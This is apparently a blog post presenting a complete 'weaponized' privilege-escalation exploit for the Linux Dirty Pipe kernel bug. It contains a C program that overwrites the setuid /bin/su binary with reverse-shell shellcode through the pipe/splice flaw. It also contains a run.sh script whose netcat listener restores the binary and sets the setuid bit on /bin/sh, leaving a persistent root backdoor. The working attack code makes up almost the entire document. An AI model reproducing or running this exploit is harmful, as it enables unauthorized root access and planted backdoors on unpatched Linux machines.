In 2022 Max Kellermann published an article and a POC presenting a new vulnerability in the Linux kernel, “The Dirty Pipe Vulnerability”.

Having recently become interested in exploiting vulnerabilities in the Linux kernel, I felt that it would be interesting to create a weapionized exploit for this vulnerability, knowing that it’s a logic bug and not a memory corruption.

The entry level for writing this kind of exploit is therefore more accessible.

Basic instructions

To write this exploit I first read the following article:

Of which I made a backup in case the article disappeared.

Being a Mac user, I developed the exploit on an x64 virtual machine thanks to UTM (a QEMU wrapper).

The strategy

My approach is as follows:

  1. First identify all binaries with the suid bit set.
    • search_binary()
  2. Among these binaries, let’s choose one and make a backup.
    • backup_binary()
  3. Once the backup is complete, the vulnerability is exploited to write a shellcode at the beginning of the .text section.
    • is_elf()
    • is_supported_arch()
    • search_text_64()
    • inject_shellcode()
      • prepare_pipe()
  4. Then the corrupted binary is executed.
  5. Once the privileges have been raised, they can be used to restore the initial binary using its backup.

Schematic diagram of how our exploit

        Attacker run ./run.sh
               |
       -----------------     - A netcat server listens (on 4444) and is ready to
      |     run.sh      |      execute a system command in the shell that will be
       -----------------       provided.
            |      |         - The file exploit.c is compiled using gcc.
            |      |         - The actual exploit is executed.
            |      |         - Then the corrupted binary is run which execute 
            |      |           the shellcode.
            |      |
            |    ------
            |   |  nc  |     - Listen on port 4444 and sends a bash command as
            |    ------        soon as a connection is received.
            |      |
            |     4444
            |
      -------------
     |             |  - Searches for a binary with the setuid bit set.
     |             |  - Make a backup of the binary.
     |   exploit   |  - Uses the Dirty Pipe vulnerability to corrupt the .text
     |             |    section of the binary with a shellcode (local reverse shell).
     |             |
      -------------

Proof of Concept

File: run.sh

uname -a
echo "chmod +rwx /tmp/binary_backup_* && chown root:root /tmp/binary_backup_* && chmod u+s,g+s /tmp/binary_backup_* && mv /tmp/binary_backup_* /bin/su && chmod +s /bin/sh && exit" | nc -lvp 4444 &
gcc exploit.c -o exploit
./exploit
echo "[*] Enter random password."
su
rm exploit
echo "[+] DONE"
sh -p -c "id"

File: exploit.c

#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <time.h>
#include <unistd.h>


#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define BACKUP_FORMAT "/tmp/binary_backup_%i"
#define PATH_SIZE 4096
#define SEARCHED_BINARY "bin/su\n"


/* Shellcode:
 * setuid(0) + setgid(0) + reverse shell "/bin/sh" on "127.0.0.1:4444".
 */
unsigned char shellcode[] = \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05"
    "\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10"
    "\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89"
    "\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48"
    "\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62"
    "\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2"
    "\xb0\x3b\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


/* This function finds a valid path for SEARCHED_BINARY within the system. */
int search_binary(char binary_path[])
{
    char path[PATH_SIZE];
    FILE *process;

    /* Execute a system command to find suid binairies in "/". */
    process = popen("find / -perm -u=s -type f 2>/dev/null", "r");
    if (process == NULL)
    {
        puts("[x] Failed to run command.");
        exit(-1);
    }

    /* Read the output of the command a line at a time. */
    while (fgets(path, sizeof(path), process) != NULL)
    {
        printf("\t - %s", path);
        if (strstr(path, SEARCHED_BINARY) != NULL)
        {
            /* This line of code deletes the trailing "\n". */
            path[strcspn(path, "\n")] = 0;
            strncpy(binary_path, path, sizeof(path));
            return 0;
        }
    }
    return -1;
}


/* This function copies the binary from "src_path" location to "dst_path". */
int backup_binary(char *src_path, char *dst_path)
{
    int src_fd, dst_fd, n, err;
    unsigned char buffer[4096];

    src_fd = open(src_path, O_RDONLY);
    if (src_fd < 0)
    {
        puts("[x] Error while opening source file.");
        return -1;
    }
    dst_fd = open(dst_path, O_CREAT | O_WRONLY, 0600);
    if (dst_fd < 0)
    {
        puts("[x] Error while opening destination file.");
        return -1;
    }

    while (1)
    {
        err = read(src_fd, buffer, 4096);
        if (err < 0)
        {
            puts("[x] Error reading file.");
            return -1;
        }
        n = err;
        if (n == 0) break;

        err = write(dst_fd, buffer, n);
        if (err < 0)
        {
            puts("[x] Error writing file.");
            return -1;
        }
    }

    close(src_fd);
    close(dst_fd);

    return 0;
}


/* This function verifies that our binary loaded into memory is an ELF. */
int is_elf(unsigned char *fp)
{
    if (fp[0] == '\x7f' && fp[1] == 'E' && fp[2] == 'L' && fp[3] == 'F')
        return 0;
    return -1;
}


/*
This function checks that our binary is executable on a supported
architecture.
*/
int is_supported_arch(unsigned char *fp)
{
    if (fp[4] == ELFCLASS32)
        return 32;
    else if (fp[4] == ELFCLASS64)
        return 64;
    return -1;
}


/*
This function retrieves information related to the ".text" section for
x32 architecture.
*/
Elf32_Off search_text_32(unsigned char *fp)
{
    /* Yet to be implemented. */
    return -1;
}


/*
This function retrieves information related to the ".text" section for 
x64 architecture.
*/
Elf64_Off search_text_64(unsigned char *fp)
{
    Elf64_Ehdr *header = (Elf64_Ehdr*)fp;

    if (header->e_shoff == 0)
    {
        puts("[x] The file has no section header table.");
        return -1;
    }
    puts("\t - Section header table:");
    printf("\t\t - Offset: 0x%lx\n", header->e_shoff);
    printf("\t\t - Number of entries: %i\n", header->e_shnum);
    printf("\t\t - Entry size: %i\n", header->e_shentsize);

    Elf64_Shdr *section_header;
    Elf64_Shdr *shstrtab = (Elf64_Shdr*)(fp+header->e_shoff + header->e_shentsize*header->e_shstrndx);
    for (int i=0; i<header->e_shnum; i++)
    {
        section_header = (Elf64_Shdr*)(fp+header->e_shoff + i*header->e_shentsize);
        char *sh_name = (char*)(fp+shstrtab->sh_offset + section_header->sh_name);
        if (strncmp(sh_name, ".text", 5) == 0)
        {
            printf(
                "\t\t - Entry name at index %d: %s, offset: 0x%lx\n",
                i,
                sh_name,
                section_header->sh_offset
            );
            return section_header->sh_offset;
        }
    }

    return -1;
}


/*
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();

    int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    char buffer[4096];

    /* Fill the pipe completely; each pipe_buffer will now have the
     * PIPE_BUF_FLAG_CAN_MERGE flag.
     */
    for (int r = pipe_size; r > 0;)
    {
        int n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    /* Drain the pipe, freeing all pipe_buffer instances (but leaving the flags 
     * initialized).
     */
    for (int r = pipe_size; r > 0;)
    {
        int n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }

    /* The pipe is now empty, and if somebody adds a new pipe_buffer without
     * initializing its "flags", the buffer will be mergeable.
     */
}


/* This function injects shellcode into the binary "path". */
int inject_shellcode(char *path)
{
    int arch;
    int fd;
    int p[2];
    loff_t text_offset;
    size_t file_size;
    struct stat st;
    unsigned char *fp;

    fd = open(path, O_RDONLY);
    if (fd < 0)
    {
        puts("[x] Error opening file.");
        return -1;
    }

    /* We retrieve file size. */
    fstat(fd, &st);
    file_size = (size_t)st.st_size;

    /* We map the binary in memory with flags MAP_SHARED so
     * the modification carried through to the underlying file.
     */
    fp = mmap(0, file_size, PROT_READ, MAP_SHARED, fd, 0);

    if(is_elf(fp) < 0)
    {
        puts("[x] ELF format not detected.");
        return -1;
    }
    puts("\t - ELF magic bytes found.");

    arch = is_supported_arch(fp);
    if (arch < 0)
    {
        puts("[x] Arch not supported.");
        return -1;
    }
    printf("\t - x%d architecture detected.\n", arch);

    if (arch == 32)
    {
        text_offset = (loff_t)search_text_32(fp);

    }
    else if (arch == 64)
    {
        text_offset = (loff_t)search_text_64(fp);
    }

    if ( text_offset < 0)
    {
        puts("[x] Can't find .text section.");
        return -1;
    }

    if (text_offset % PAGE_SIZE == 0) {
        puts("[x] Sorry, cannot start writing at a page boundary.");
        return -1;
    }

    const loff_t next_page = (text_offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = text_offset + (loff_t)sizeof(shellcode);
    if (end_offset > next_page) {
        puts("[x] Sorry, cannot write across a page boundary.");
        return -1;
    }

    /* Create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE. */
    prepare_pipe(p);

    /* Splice one byte from before the specified offset into the pipe; this will
     * add a reference to the page cache, but since copy_page_to_iter_pipe()
     * does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set.
     */
    --text_offset;
    ssize_t nbytes = splice(fd, &text_offset, p[1], NULL, 1, 0);
    if (nbytes < 0)
    {
        puts("[x] splice() failed.");
        return -1;
    }
    if (nbytes == 0)
    {
        puts("[x] Short splice.");
        return -1;
    }

    /* The following write will not create a new pipe_buffer, but will instead
     * write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag.
     */
    nbytes = write(p[1], shellcode, sizeof(shellcode));
    if (nbytes < 0)
    {
        puts("[x] write() failed");
        return -1;
    }
    if (nbytes < sizeof(shellcode)) {
        puts("[x] Short write.");
        return -1;
    }

    return 0;
}


int main()
{
    char binary_backup_path[PATH_SIZE];
    char binary_path[PATH_SIZE];
    int random;

    srand(time(NULL));

    puts("[*] Looking for binary ...");

    if (search_binary(binary_path) < 0)
    {
        puts("[x] Failed to find binary.");
        exit(-1);
    }

    puts("[*] Binary found:");
    printf("\t - %s\n", binary_path);

    random = rand();
    snprintf(
        binary_backup_path,
        sizeof(binary_backup_path),
        BACKUP_FORMAT,
        random
    );

    puts("[*] File will be save to:");
    printf("\t - %s\n", binary_backup_path);

    if (backup_binary(binary_path, binary_backup_path) < 0)
    {
        puts("[x] Failed to backup binary.");
        exit(-1);
    }

    puts("[*] Injecting shellcode ...");

    if (inject_shellcode(binary_path) < 0)
    {
        puts("[x] Failed to inject shellcode.");
        exit(-1);
    }

    puts("[+] Exploit succeed.");

    return 0;
}

Please refer to the screenshot below for an example of execution.

alt-text

Thank you for taking the time to read this really short article.